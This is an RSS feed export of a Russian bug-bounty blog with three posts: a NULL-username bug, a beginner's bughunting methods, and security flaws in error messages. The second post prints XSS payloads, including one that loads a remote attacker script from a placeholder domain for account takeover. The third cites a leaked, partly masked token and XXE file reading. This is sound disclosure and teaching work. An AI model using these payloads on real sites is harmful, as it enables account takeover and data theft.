<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@8ug8eer</title><generator>teletype.in</generator><description><![CDATA[Тексты канала https://t.me/bugbeer]]></description><image><url>https://img3.teletype.in/files/21/45/214583a7-305d-443d-aac2-76b6df0e7e1c.png</url><title>@8ug8eer</title><link>https://teletype.in/@8ug8eer</link></image><link>https://teletype.in/@8ug8eer?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/8ug8eer?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/8ug8eer?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Mon, 01 Jun 2026 23:24:24 GMT</pubDate><lastBuildDate>Mon, 01 Jun 2026 23:24:24 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@8ug8eer/username_is_null_bug</guid><link>https://teletype.in/@8ug8eer/username_is_null_bug?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer</link><comments>https://teletype.in/@8ug8eer/username_is_null_bug?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer#comments</comments><dc:creator>8ug8eer</dc:creator><title>Как я создала аккаунт с именем NULL и мне стали приходить уведомления о покупки и продлении доменов других пользователей</title><pubDate>Sat, 23 Nov 2024 14:52:59 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/54/a4/54a4a5cd-3830-46f0-87fd-6f6436b29203.png"></media:content><description><![CDATA[<img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUe8rSHC9EqU68_6SqVMGzKq-MnuRF_NISYGa7Mt96WeX3UliEyVTmKh5Oz5u1nBPIL14bD6-uEV2VcVUemMrT1vxpBThRNBirytsfmCdWl4hlP2wFy1ZkE5l0xY3hb1wbgX0IIxjzxUY4EQgYqj-OmEzcnl-JxK=s2048?key=Gd3ObHSwuVJwYwi2Y_yFow"></img>Я очень люблю программу багбаунти Timeweb. Да у них много легаси, о которых они знают, но искать и взаимодействовать с командой ИБ приятно. Она очень выросла со старта.]]></description><content:encoded><![CDATA[
  <h3 id="mbAQ">В качестве предисловия:</h3>
  <p id="avWz">Я очень люблю программу багбаунти Timeweb. Да у них много легаси, о которых они знают, но искать и взаимодействовать с командой ИБ приятно. Она очень выросла со старта.</p>
  <h3 id="pTEp">История бага:</h3>
  <p id="SmwK">При регистрации имя пользователя создается автоматически. Сделали фичу смены логина. Я завела там баги, к сожалению о них оказалось уже знают. Но у меня остался аккаунт с username=&quot;NULL&quot;.<br /><br />Прошло пол года с тестирования</p>
  <figure id="yyuK" class="m_custom">
    <img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUe8rSHC9EqU68_6SqVMGzKq-MnuRF_NISYGa7Mt96WeX3UliEyVTmKh5Oz5u1nBPIL14bD6-uEV2VcVUemMrT1vxpBThRNBirytsfmCdWl4hlP2wFy1ZkE5l0xY3hb1wbgX0IIxjzxUY4EQgYqj-OmEzcnl-JxK=s2048?key=Gd3ObHSwuVJwYwi2Y_yFow" width="310" />
  </figure>
  <p id="tmyM">И мне на почту стали приходить письма.</p>
  <figure id="hPic" class="m_column">
    <img src="https://img4.teletype.in/files/73/3c/733c5613-cb2c-4a73-aab7-8521cd971c23.jpeg" width="1828" />
  </figure>
  <figure id="G1OL" class="m_column">
    <img src="https://img3.teletype.in/files/2b/5d/2b5d3937-57ae-447d-9847-44a50fcc68d6.jpeg" width="1970" />
  </figure>
  <p id="NOOg">За несколько дней мой почтовый ящик завалили письмами. </p>
  <figure id="7IGW" class="m_column">
    <img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUeNFdcbb_u_p1grZ9JkHV-eP_cBxGwPsEuj7yeo5gTdxwHYae_8xJ-2duTs90jgUn1BYDNCaCGFFazkVcwdKHSwYDF7TsH55zhL7dvOnihZWCkC7WijNXG5Uh2VMTyiCLBsyXyaVBsmovxnJ08NOn_ttqBcP9_T=s2048?key=Gd3ObHSwuVJwYwi2Y_yFow" width="2048" />
  </figure>
  <p id="ICHY">Я посмотрела по Whoami и обнаружила, что сообщение приходи после покупки или продления доменов.<br /><br />Вот так случайно, был найден и заведен баг.</p>
  <h3 id="vN1X">В чем была причина?</h3>
  <p id="htR9">Разработчик прокоментировал, что там было 2 причины:</p>
  <ul id="GfhX">
    <li id="y91R">Портал вместо логина клиента &quot;null&quot; отправлял null</li>
    <li id="Hpv2">Недостаток валидации</li>
  </ul>
  <h3 id="YNBL">Ссылка на раскрытый репорт:</h3>
  <p id="AGHI"><a href="https://bugbounty.bi.zone/reports/6777" target="_blank">https://bugbounty.bi.zone/reports/6777</a></p>
  <h3 id="eg7B">Боян - это уже было</h3>
  <p id="6abP">Похожий отчет был сдан в qiwi <a href="https://hackerone.com/reports/487296" target="_blank">https://hackerone.com/reports/487296</a><br /></p>
  <figure id="YKPP" class="m_custom">
    <img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUd7rEiA-5IPr1PXHMBuiwVF_ba126hPUlal2UlQhXjbz18YuUhCmHchjQBqcI5fLmU2thMoq1V3qzpw-vnp1bBn0CjKtxEjZG5r7Ulrg9KF3QOH7pVmRrBPlTAepA8KqQYjrroI4da1dsYwhMRUjTXHebMa7GZXEEa9qbTY=s2048?key=8hAhfoh1rtDkwXLaxkk7SA" width="559" />
  </figure>
  <p id="Uo9r"></p>
  <p id="6TWU"></p>
  <p id="Yo5w">Похожая история произошла с американским исследователем в области безопасности Джозефом Тартаро, когда он решил сделать  номер &quot;NULL&quot; своей машине и начал получать штрафы всех машин с не распознанными номерами. <a href="https://habr.com/ru/companies/ua-hosting/articles/463859/" target="_blank">https://habr.com/ru/companies/ua-hosting/articles/463859/</a></p>
  <figure id="1mMX" class="m_column">
    <img src="https://img1.teletype.in/files/4f/a0/4fa0a4f8-8a8a-4f00-9832-8d35181f9dea.png" width="950" />
  </figure>
  <h3 id="nUwz">В качестве вывода</h3>
  <ul id="ENFh">
    <li id="GW2V">Некоторые баги в багбаунти находятся случайно - главное вовремя заметить</li>
    <li id="yzaI">Вот такие бывают забавные ошибки валидации</li>
  </ul>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@8ug8eer/testing_theory_by_novice_bughunter</guid><link>https://teletype.in/@8ug8eer/testing_theory_by_novice_bughunter?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer</link><comments>https://teletype.in/@8ug8eer/testing_theory_by_novice_bughunter?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer#comments</comments><dc:creator>8ug8eer</dc:creator><title>Способы багхантинга, проверенные начинающим багхантером или как AppSec баги искал</title><pubDate>Sun, 19 Nov 2023 13:11:51 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e7/c0/e7c03dc2-c93c-45cb-87af-ef3663e25074.png"></media:content><category>BugBounty</category><description><![CDATA[<img src="https://img2.teletype.in/files/18/1f/181f0766-bc65-4d01-b4ec-00baca6ba6ca.png"></img>Всем привет, меня зовут Аня. Я работаю AppSec-м: встраиваю сканеры в пайплайн, пишу правила, документацию, учу как не допускать уязвимости в своей кодовой базе. Была QA/QA automation, через CTF и задания веба (спасибо SpbCTF) познакомилась с проблемами безопасности и так много начала находить в своих проектах, что перешла в AppSec. Для понимания - тыкать кавычки я немного умею, но не занимаюсь этим на работе - фокус сейчас &quot;как не допустить&quot;.]]></description><content:encoded><![CDATA[
  <figure id="Mftu" class="m_column">
    <img src="https://img2.teletype.in/files/18/1f/181f0766-bc65-4d01-b4ec-00baca6ba6ca.png" width="1680" />
  </figure>
  <h2 id="K2C7">Whoami</h2>
  <p id="25Mj">Всем привет, меня зовут Аня. Я работаю AppSec-м: встраиваю сканеры в пайплайн, пишу правила, документацию, учу как не допускать уязвимости в своей кодовой базе. Была QA/QA automation, через CTF и задания веба (спасибо SpbCTF) познакомилась с проблемами безопасности и так много начала находить в своих проектах, что перешла в AppSec. Для понимания - тыкать кавычки я немного умею, но не занимаюсь этим на работе - фокус сейчас &quot;как не допустить&quot;. </p>
  <p id="QcI7">Появилась идея - проверить, что может найти начинающий багхантер, который никогда этим не занимался, по различным гипотезам. Сразу скажу, что тут не будет автоматизации (это тема для следующего вызова), все уязвимости искала в ручную. Только ты и Burp Suite.</p>
  <h2 id="uxHW">В чем суть: </h2>
  <p id="sCOT">Какие вопросы себе задает начинающий багхантер:</p>
  <ul id="YSKK">
    <li id="f67R">Где сдавать уязвимости?</li>
    <li id="qM63">Какую программу выбрать и как?</li>
    <li id="XaVn">Что искать?</li>
    <li id="VOLN">Каким способом?</li>
    <li id="gFAP">Может ли новичек что-то найти<s> или все баги забрал себе Рамазан?</s></li>
  </ul>
  <p id="XEw4">Разберемся с каждым вопросом.</p>
  <h2 id="Hkhs">Где сдавать/искать уязвимости?</h2>
  <h3 id="1l5Z">Искать на багбаунти платформах</h3>
  <p id="0v7S">Есть 3 RU багбаунти платформы: </p>
  <ul id="D7A5">
    <li id="HjWF"><a href="https://app.bugbounty.bi.zone/" target="_blank">https://app.bugbounty.bi.zone/</a> </li>
    <li id="Nckk"><a href="https://bugbounty.standoff365.com/" target="_blank">https://bugbounty.standoff365.com/</a></li>
    <li id="1dA0"><a href="https://bugbounty.ru/" target="_blank">https://bugbounty.ru/</a></li>
  </ul>
  <p id="ujjk">Плюсы:</p>
  <ul id="Dsyd">
    <li id="mHNU">У тебя растет рейтинг <s>чсв.</s></li>
    <li id="Ri8s">Тебя добавляют в приватки по рейтингу.</li>
    <li id="R1NU"><s>Можно пожаловаться платформе про жизнь не легкую багхантерскую. </s>Попросить платформу выступить арбитром в сложных вопросах, потыкать палочкой в вендора, который не отвечает тебе по почте с вопросом доступа.</li>
    <li id="WNWW">Мерч от платформ. Ну не ради денег же багхантить в самом деле:)</li>
  </ul>
  <p id="4qjz">Минусы: </p>
  <ul id="Y7Xc">
    <li id="x9Wb">Их нет - пишите в комментах, если знаете.</li>
  </ul>
  <h3 id="y0T2">Искать на self-hosted платформах</h3>
  <p id="cgBz">Это проекты, которые не выложены на багбаунти платформах. Они имеют у себя страницу багбаунти с указанием куда писать в случае обнаружения уязвимости.</p>
  <p id="Sf5i">Например:</p>
  <ul id="PxZi">
    <li id="swlb"><a href="https://yandex.ru/bugbounty/" target="_blank">https://yandex.ru/bugbounty/</a></li>
    <li id="q09I"><a href="https://kontur.ru/bugbounty" target="_blank">https://kontur.ru/bugbounty</a></li>
    <li id="JBYM"><a href="https://www.jivo.ru/bugbounty/" target="_blank">https://www.jivo.ru/bugbounty/</a></li>
    <li id="5c2l"><a href="https://bugbounty.mts-link.ru/" target="_blank">https://bugbounty.mts-link.ru/</a></li>
    <li id="v6LT">и тд</li>
  </ul>
  <h3 id="kDwK">Можно самому договариваться c проектами</h3>
  <p id="C1As">Этот способ подсказал <a href="https://standoff365.com/profile/fat_dog" target="_blank">fat_dog</a>. Пишешь менеджеру проекта и если они согласны, чтобы ты поискал у них уязвимости, то начинаешь искать. Сначала искать, а потом шантажировать, что &quot;я нашел у вас крит и если не заплатите солью в паблик&quot; - не нужно. Мы все-таки тут белые хакеры.</p>
  <p id="crHR">Плюсы:</p>
  <ul id="mj40">
    <li id="irkM">Большое количество &quot;низко-висящих фруктов&quot;. Зачастую в таких проектах очень просто найти уязвимость.</li>
  </ul>
  <p id="iZso">Минусы:</p>
  <ul id="yVg4">
    <li id="lI4M">Низкие выплаты. Скорее всего тебе заплатят своей же продукцией. Но если ты не против получить ящик кофе, то почем у бы и нет.</li>
    <li id="fluR">На такое согласится 1 из 10 менеджеров и скорее всего тот, которого уже поломали.</li>
  </ul>
  <figure id="8Cqg" class="m_column">
    <img src="https://img1.teletype.in/files/42/c3/42c3910b-1535-4b83-b130-dc22537f32c6.png" width="1218" />
  </figure>
  <h3 id="Tbqs">Какой способ был выбран?</h3>
  <p id="X927">Я выбрала просто сдавать на следующих багбаунти платформах:</p>
  <ul id="4sUS">
    <li id="mRD7"><a href="https://app.bugbounty.bi.zone/profile/savAnna/hackactivity" target="_blank">https://app.bugbounty.bi.zone/profile/savAnna/hackactivity</a></li>
    <li id="f0Zy"><a href="https://standoff365.com/profile/savAnna" target="_blank">https://standoff365.com/profile/savAnna</a></li>
  </ul>
  <h2 id="zPMh">Как выбрать программу и какие тут есть варианты?</h2>
  <h3 id="jy0x">Одна лишь цель</h3>
  <p id="uR86">Выбрать интересную программу/продукт и закопаться. Это позволяет глубже познакомится с функционалом и собрать не только &quot;низко-висящие фрукты&quot;, накопить себе кучу записок по аномалиям, порисовать схемы процессов, провести полноценно разведку.</p>
  <p id="1isx">Выбрала первого вендора - Консоль по следующим критериям:</p>
  <ul id="ugRi">
    <li id="I5FC">Продукт понятен <s>и похож на прошлую работу.</s></li>
    <li id="AohZ">Бэкенд на этом ЯП я еще не тестировала.</li>
    <li id="oRaG">Антон(ex всея Консоли и триажа там) шутит смешные шутки в чатах - значит и триаж будет не душный - этот пункт меня не подвел.</li>
  </ul>
  <p id="T1RY">Минус тут оказался в том, что Антон уволился и вендор перестал рассматривать уязвимости. Без объявления войны убрал доступ до моей тестовой учетной записи, а потом и вовсе закрыл программу. И сидишь со своим списком md-файлов с аномалиями. Мой вывод, что лучше закапываться в продукты стабильных вендоров. Багбаунти, которых не держится на 1 человеке.</p>
  <h3 id="zbom">Тестить все по чуть-чуть</h3>
  <p id="FKPl">Следущий способ, который решила проверить - тестить все. 1 программа - 1 вечер. Минусы этого способа были, что некоторые продукты были просто не интересны и если не нашел &quot;изи бага&quot;, то переходил к следующей. Из этого способа появился следующий.</p>
  <h3 id="0Fbw">Выбираем по типу</h3>
  <p id="bM8d">Выбираешь максимально удобный и понятный для тебя бизнес-процесс: банк, магазин, vds-ка и тестируешь именно эти программы.<br />Плюсы этого подхода: не нужно тратить время на понимание бизнес-процесса, можно повторять одни и те же проверки во всех программах.<br />Мне понравилось тестить облачные платформы, VDS-ки и магазины.</p>
  <h3 id="GeaT">Бежать при открытии новой программы тестить быстрее всех</h3>
  <p id="2gUk">Этот способ рабочий, но оказался не самый эффективный для меня. Так как тестировала не каждый вечер и пока ты дойдешь до субботы, где ты можешь потестить <s>Рамазан уже все сдаст</s> - твои отчеты превращаются в дубли. Но если у вас самая быстрая рука на диком западе, то этот способ для вас.</p>
  <p id="RCz2">Дальше когда мы определились с тем где мы хотим искать уязвимости - рассмотрим что и как будем искать.</p>
  <h2 id="SaZ6">Что и как искать?</h2>
  <h3 id="oOuw">Обученная обезьянка</h3>
  <p id="OtzY">Запомнил один прием и его повторяешь.</p>
  <p id="oNA3">Для меня таким приемом стал добавлять во все поля</p>
  <pre id="alVy">&lt;img src=x onerror=alert();&gt;</pre>
  <p id="STph">Способ немного занудный и я не долго на нем просидела. Тем не менее было найдено несколько багов. Правда пришлось выйти из образа обезьянки, когда на отчет по XSS, &quot;вот методы позволяющие сделать захват аккаунта&quot; - триажер не согласился и сказал, что тут 255 символов и <s>что ты мне сделаешь</s> или предоставляй реальный poc или <s>иди на фик</s> информатив. Пришлось для доказательства как не правы те, кто думает, что что ограничения в количестве символов защитят писать 2 варианта: </p>
  <p id="uZhy"><strong>1 вариант</strong> - написать скрипт напрямую в paylod.<br />С помощью jquery, который подключен на сайте можно значительно уменьшить свой payload.</p>
  <p id="7rYS"><strong>2 вариант</strong> - просто обращаться к своему скрипту</p>
  <p id="TxZc">Загрузить на домен куда позволяет CSP, настроить CORS и писать скрипты на сколько хочешь символов</p>
  <p id="ykJD">Все это можно проверить через консоль</p>
  <p id="mvbF">$.get(&#x27;<a href="https://s3.timeweb.com/3a96e2fb-1648ffdf-4635-4f1d-aa28-f4fd89ffeee7/script.js" target="_blank">https://domen/script.js</a>&#x27;, (d) =&gt; {  })</p>
  <p id="7p0q">Выводим window - ищем нашу функцию - убедились, что скрипт подгружается.</p>
  <p id="4qDW">Пишем в скрипте вызов нужных методов.</p>
  <p id="7EtD">И финальный POC</p>
  <pre id="OT4Z">&lt;img src=x onerror=&quot;$.getScript({url:&#x27;https://domen/script.js&#x27;},()=&gt;{_hack.fn()})&quot;&gt;</pre>
  <p id="0oO0">Потом триажеры сказали, что ты не реализовал запись токенов себе на S3 бакет/куда-либо, &quot;показал только теоритическую возможность&quot;, поэтому отчет захват аккаунта через XSS - был помечен как информатив. Так что <s>я выпила ромашкового чаю</s> пришлось скачивать либу aws, билдить модуль записи на бакет, загружать, разбираться и все это ради копеечного реварда. Обезьянка слишком запарилась и потратила нервы на пинг-понг с триажерами - не надо так.</p>
  <p id="OBGq">Так что способ обезьянки рабочий, но для аргументов для триажеров приходится выходить из этого образа.</p>
  <h3 id="Bm9o">Выбрать CWE и проверять его всеми различными способами</h3>
  <p id="kTid">Для этого я выбрала IDOR(BOLA). Потому что он простой, у него есть разные способы и топ-1 OWASP 2023 как никак - <a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/" target="_blank">API1:2023 Broken Object Level Authorization</a></p>
  <p id="icIv">Было найдено 11 багов (правда часть оказалось дублями, часть вендор счел информатив)</p>
  <p id="ls7J">Так что те, кто писал &quot;Такие простые уязвимости найти нельзя&quot; после мастер-класса <a href="https://www.youtube.com/watch?v=FQROPd_p1ME" target="_blank">Поиск уязвимостей IDOR (BOLA)</a>  - вы заблуждаетесь.</p>
  <h3 id="CgFh">Искать функционал с определенной багой</h3>
  <p id="ChFs">Например, ты знаешь библиотеки не безопасные по умолчанию. Ищешь проекты где она используется, потому что разработчики редко читают документацию &quot;как сконфигурировать безопасно&quot; (отсюда и родилось правило secure by default).</p>
  <p id="OeMi">Возьмем самый простой пример, когда есть функционал отображения файла, который загружается на тот же домен, то разработчики часто забывают, что svg inline - это XSS.</p>
  <p id="VdoW">Или узнал какой XML парсер не безопасный по умолчанию - ищешь обработку XML - обычно это едо, оплата, всякие интеграции с 1С. Нашел такой метод - получил XXE.</p>
  <h3 id="qhO7">Засесть за одной фичей</h3>
  <p id="JiHi">Например, за аутентификацией. Проверить все методы получения токена, смена пароля, смены 2fa и тд. Нарисовать схему, продумать все варианты. Где-нибудь да найдется обход 2fa.</p>
  <h3 id="rpKb">Следить за новостями</h3>
  <p id="2KSE">Следуя гипотезе, что бизнес хочет выпустить фичу поскорее, наплевав на качество - &quot;приняв риски&quot;, подписываемся на обновления и бежим тестировать новый функционал платформы. Способ так же рабочий, была найдена 1 уязвимость, но тут оказалась проблема, что среди 1 новости платформы - приходится 10 постов про &quot;10 советов для домохозяек как работать с нашей платформой&quot;. Если вы знаете как по другому получить список новых фич - поделитесь способом.</p>
  <h2 id="Opgf">Выводы:</h2>
  <p id="SEG2">Итого: за месяц исследований(в основном по субботам и иногда по вечерам) было найдено 17 уязвимостей, из них: </p>
  <ul id="AnTi">
    <li id="3Cvo">7 подтверждено.</li>
    <li id="d9ia">5 пока не рассмотрели.</li>
    <li id="yJX6">4 информатив(по некоторым еще ведутся дебаты, 2 например мне удалось доказать и они были приняты).</li>
    <li id="pZPt">1 дубль.</li>
  </ul>
  <p id="60p8">Каждый способ поиска оказался рабочим и принес подтвержденную багу.</p>
  <ul id="mjXN">
    <li id="nkMh">Найти даже очень простые баги и получить за них ревард можно.</li>
    <li id="BOGI">Для того, чтобы найти что-то не нужны сверх-навыки.</li>
    <li id="3Ipd">Иногда найти баг можно не просидев все выходные, а за 30 минут.</li>
    <li id="VnPe">Осилит дорогу идущий.</li>
  </ul>
  <p id="OBUv">Если у вас все-равно не получается, то рекомендую:</p>
  <ul id="724o">
    <li id="iIS9">Подумать о бизнес-ценности данного продукта. Какой риск бизнес не хотел бы допустить.</li>
    <li id="B0jU">Подтянуть базу знаний и порешать лабы/CTF-ки. Рекомендую начать с <a href="https://tryhackme.com/" target="_blank">TryHackMe</a> или с <a href="https://portswigger.net/web-security/all-materials" target="_blank">Portswigger Academy</a></li>
  </ul>
  <p id="xsAb">Удачного вам багхантинга!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@8ug8eer/error_handler_security_problem</guid><link>https://teletype.in/@8ug8eer/error_handler_security_problem?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer</link><comments>https://teletype.in/@8ug8eer/error_handler_security_problem?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=8ug8eer#comments</comments><dc:creator>8ug8eer</dc:creator><title>Не все &quot;ошибки&quot; одинаково полезны - с точки зрения безопасности.</title><pubDate>Sun, 01 Oct 2023 20:22:56 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/90/a0/90a008fa-a4eb-4d6a-a495-03de62f1de14.png"></media:content><category>Security</category><description><![CDATA[<img src="https://img4.teletype.in/files/73/2e/732e6b6b-462b-4973-be31-1ed4c8bcf327.png"></img>Всем знакомая ситуация: ввели не валидное значение - получили &quot;ошибку&quot;.]]></description><content:encoded><![CDATA[
  <p id="bfg3">Всем знакомая ситуация: ввели не валидное значение - получили &quot;ошибку&quot;.</p>
  <figure id="xfFx" class="m_column">
    <img src="https://img4.teletype.in/files/73/2e/732e6b6b-462b-4973-be31-1ed4c8bcf327.png" width="1562" />
  </figure>
  <p id="5t3v">Какие могут быть варианты обработок ошибок:</p>
  <ul id="cfxV">
    <li id="n4cj">Приложение не обрабатывает исключения и выводит &quot;Internal Server Error&quot;.</li>
    <li id="7Mm3">Все исключение обрабатываются одной ошибкой &quot;Введите валидное значение&quot;.</li>
    <li id="Z4Qb">Все варианты выводят человекочетаемую ошибку, а-ля &quot;Значение X не валидно, введите Y&quot;.</li>
    <li id="LHXt">Выводит ошибку из кода вида: &quot;json: cannot unmarshal number into Go value of type requests.CreateDirectoryRequest&quot;</li>
    <li id="tTOp">В тексте ошибки выводится StackTrace - самый плохой для разработчика   случай и отличный для багхантера случай.</li>
  </ul>
  <p id="G0Sy">Давайте рассмотрим какие проблемы с безопасностью могут быть в обработке ошибок и валидации.</p>
  <h2 id="Gx2L">Дополнительная информация о системе</h2>
  <p id="WfaC">Мы хотим протестировать веб-приложение. Первым делом нужно собрать о нем информацию: на каком языке программирования написано приложение, что используется в качестве базы данных, какие фреймворки, библиотеки и так далее. <br />Зачем это нужно? - для каждого ЯП есть свои &quot;экзотические уязвимости&quot;.<br />Узнали версию библиотеки - проверили какие существуют CVE для нее, выставлена ли не безопасная конфигурация по умолчанию. Если библиотека не безопасна по умолчанию, то велика вероятность, что разработчики не прочитали документацию и функционал уязвим.<br />Здесь нам поможет текст ошибки.Часто разработчики выводят ошибку фреймворка, а не обрабатывают сами все случаи.</p>
  <h3 id="j8aJ">Определение ЯП и использование его &quot;фичи&quot;:</h3>
  <p id="Fs1I">Ввели не валидное значение, например %00 - получили &quot;Translation missing: ru.errors.generic.nonexistent&quot;. Поняли, что это Ruby on Rails. Если проверка, реализована через if request.post? то передав <a href="https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-request_method" target="_blank">_method</a>=GET ее можно обойти. Например, передав параметры не доступные для редактирования в методе POST, но имеющиеся в контроллере получаем Mass Assignment.</p>
  <h3 id="JyDt">Определили библиотеку и узнали ее не безопасную конфигурацию:</h3>
  <p id="wr8P">Увидели, что используется JavaScriptObjectDeserializer</p>
  <figure id="zYUq" class="m_column">
    <img src="https://img2.teletype.in/files/d7/7b/d77b3f99-25f1-4b66-8c01-83461e919110.png" width="1526" />
  </figure>
  <p id="bwyv">Знаем, что тут может быть уязвимость Insecure deserialization, только в случае, если используется TypeResolver:</p>
  <pre id="nG0t">JavaScriptSerializer jsonSerializer = new JavaScriptSerializer(new SimpleTypeResolver());</pre>
  <h2 id="xDTF">Информация о внутренней инфраструктуре</h2>
  <p id="Az8f">В некоторых случаях метод возвращает StackTrace. Это настоящий подарок для багхантера, потому что StackTrace может содержать секреты: connection string, токены, внутренние хосты и так далее.</p>
  <h3 id="JO87"><strong>Сonnection string в тексте ошибки:</strong></h3>
  <p id="l5gW">Если приложение не может подключится к базе данных, то вернет connection string.</p>
  <pre id="j7Uh">Что-то пошло не так, попробуйте еще раз. A timeout occured after 30000ms selecting a server using CompositeServerSelector{ Selectors = MongoDB.Driver.MongoClient+AreSessionsSupportedServerSelector, LatencyLimitingServerSelector
{ AllowedLatencyRange = 00:00:00.0150000 }
}. Client view of cluster state is { ClusterId : &quot;1&quot;, ConnectionMode : &quot;Automatic&quot;, Type : &quot;Standalone&quot;, State : &quot;Disconnected&quot;, Servers : [{ ServerId: &quot;
{ ClusterId : 1, EndPoint : &quot;Unspecified/mongo-test:27017&quot; }
&quot;, EndPoint: &quot;Unspecified/mongo-test:27017&quot;, State: &quot;Disconnected&quot;, Type: &quot;Unknown&quot;, HeartbeatException: &quot;MongoDB.Driver.MongoConnectionException: An exception occurred while opening a connection to the server.\n</pre>
  <p id="M4n0">Злоумышленник может создать эту проблему, что бы получить строку подключения. Например, создав множество паралелльных соединений с бд.</p>
  <blockquote id="y1Yv">Дисклеймер!<br />Класть базу даннных, что бы получить строку подключения на багбаунти крайне не рекомендую.</blockquote>
  <h3 id="XJrA">Токен в тексте ошибки - пример с hackerone от CIRCUIT</h3>
  <p id="JJW3"><a href="https://hackerone.com/reports/735971" target="_blank">Слив какого-то access токена :)</a></p>
  <p id="7HvK">Ввели в поле userId=Ic%27 <a href="https://api.qiwi.me/social-networks/vk?userId=lc%27" target="_blank">https://api.qiwi.me/social-networks/vk?userId=lc%27</a></p>
  <p id="8ZqW">Получили исключение с маскированным access_token: </p>
  <pre id="CtPK">{&quot;application&quot;:&quot;PiggyBox[public] v-1.25.393&quot;,&quot;error&quot;:&quot;https://api.vk.com/method/users.get?access_token=165981de1**********4bfdb3b085c5eb7f61de75e3\u0026fields=photo_200%2Ccity\u0026lang=ru\u0026user_ids=lc%27\u0026v=5.101&quot;,&quot;trace_id&quot;:&quot;9c508a391ae7fbff&quot;,&quot;uptime&quot;:&quot;1h44m31.433579453s&quot;}</pre>
  <h2 id="OfOB">Избыточная информация в тексте ошибки</h2>
  <p id="wUgJ">Иногда разработчики стараются добавить в текст ошибки больше информации, что приводит к раскрытию персональных данных.</p>
  <h3 id="Vb3u">Информация о пользователях:</h3>
  <p id="Ns7s">Есть система в которой компания может создавать задания исполнителям.<br />Например, задание &quot;доставка пиццы&quot; для курьеров.<br />Перебирая contractors_ids можно перебрать ФИО исполнителей других компаний.</p>
  <figure id="317T" class="m_column">
    <img src="https://img3.teletype.in/files/63/19/631942ec-3194-4ca2-af67-430d816141d0.png" width="1492" />
  </figure>
  <p id="j00q">Если бы разработчик выводили тут еще и телефон или весь объект contractor, то утечка персональных данных в этой системе стала бы критичной. </p>
  <h3 id="rpHh">Информация от пользователя, которая не должна попадать в логи:</h3>
  <p id="y7D3">Метод смены пароля часто имеет правила. &quot;Пароль <strong>111</strong> должен быть не короче 8 символов, содержать хотя бы одну заглавную букву и цифру&quot;. Текст сообщения содержит ошибку с информацией, которую ввел пользователь. <br />Так как пользователи добавляют обычно к своему паролю символы, которые требуются в правилах, то логи приложения будут содержать &quot;почти верный пароль пользователя&quot;. Отличающийся на 1-2 символа.<br />В данном случае ошибка должна была быть - &quot;Пароль должен быть не короче 8 символов, содержать хотя бы одну заглавную букву и цифру&quot;</p>
  <h2 id="n34T">Уязвимости в обработке ошибки</h2>
  <p id="k7Zx">Валидация может содержать уязвимости. Не буду приводить пример с error based sql injection - все о ней знают и хотя встречается чаще всего на CTF, но забывать о ней не стоит.</p>
  <h3 id="h64G">XXE:</h3>
  <p id="jtfb">XML - парсеры могут быть узявимы к XXE(XML External Entity). Если разработчики вывели в каком элементе значение было не верным, то можно увидеть результат выполнение XXE и получить в тексте ошибки любые локальные файлы сервера доступные под пользователем под которым запущенно приложение. Иногда оно запущенно из под root. Проверяем можем ли мы получить /<em>etc</em>/<em>shadow </em>и если да, то это root, поздравляю.</p>
  <figure id="HQp4" class="m_column">
    <img src="https://img1.teletype.in/files/c9/28/c928c4f1-60c9-433d-ae83-c3628026fa98.png" width="1466" />
  </figure>
  <h2 id="qWoM">Ошибки могут дезинформировать</h2>
  <p id="mvN6">При тестировании, если мы получаем ошибку, то предполагаем, что метод не выполнился. Но иногда это не так и само наличие ошибки может сбивать с толку.</p>
  <p id="OCjM">Например, при тестировании на IDOR в методах создания/удаления/изменения сущности - полагаться только на успешный ответ/ошибку не стоит.</p>
  <h3 id="r1YE">Метод возвращает ошибку и выполняется</h3>
  <p id="TqhI">Метод удаления файла. Пробуем удалить файл</p>
  <p id="REm7">Получаем ошибку &quot;Невозможно удалить файл&quot;. Думаете файл действительно не удалился?</p>
  <figure id="zNl3" class="m_custom">
    <img src="https://img4.teletype.in/files/b2/2a/b22a138d-8c3d-4513-8cd3-c141694105d5.png" width="284" />
  </figure>
  <p id="efbh">Файл был удален.<br />Почему это происходит разберем на примере построения зиккурата.</p>
  <h3 id="Zodr">Выполнение продолжается после вывода ошибки</h3>
  <pre id="hI9x">if () {
print(&quot;Нельзя сотворить здесь&quot;)
}
строим зиккурат</pre>
  <p id="AFgm">Метод должен прекращать выполнение. Один из вариантов - реализация через вызов исключения.</p>
  <pre id="hf42">if () {
} else {
return new ExceptionResult(&quot;Нельзя сотворить здесь&quot;)
}
строим зиккурат</pre>
  <h3 id="neZG">Проверки нет и выводится ошибка от другого действия</h3>
  <p id="igvw">Например, проверили, что земля проклята после строительства зуккурата.</p>
  <pre id="qYHw">строим зиккурат
if (земля проклята) {
прокачиваем зиккурат
} else {
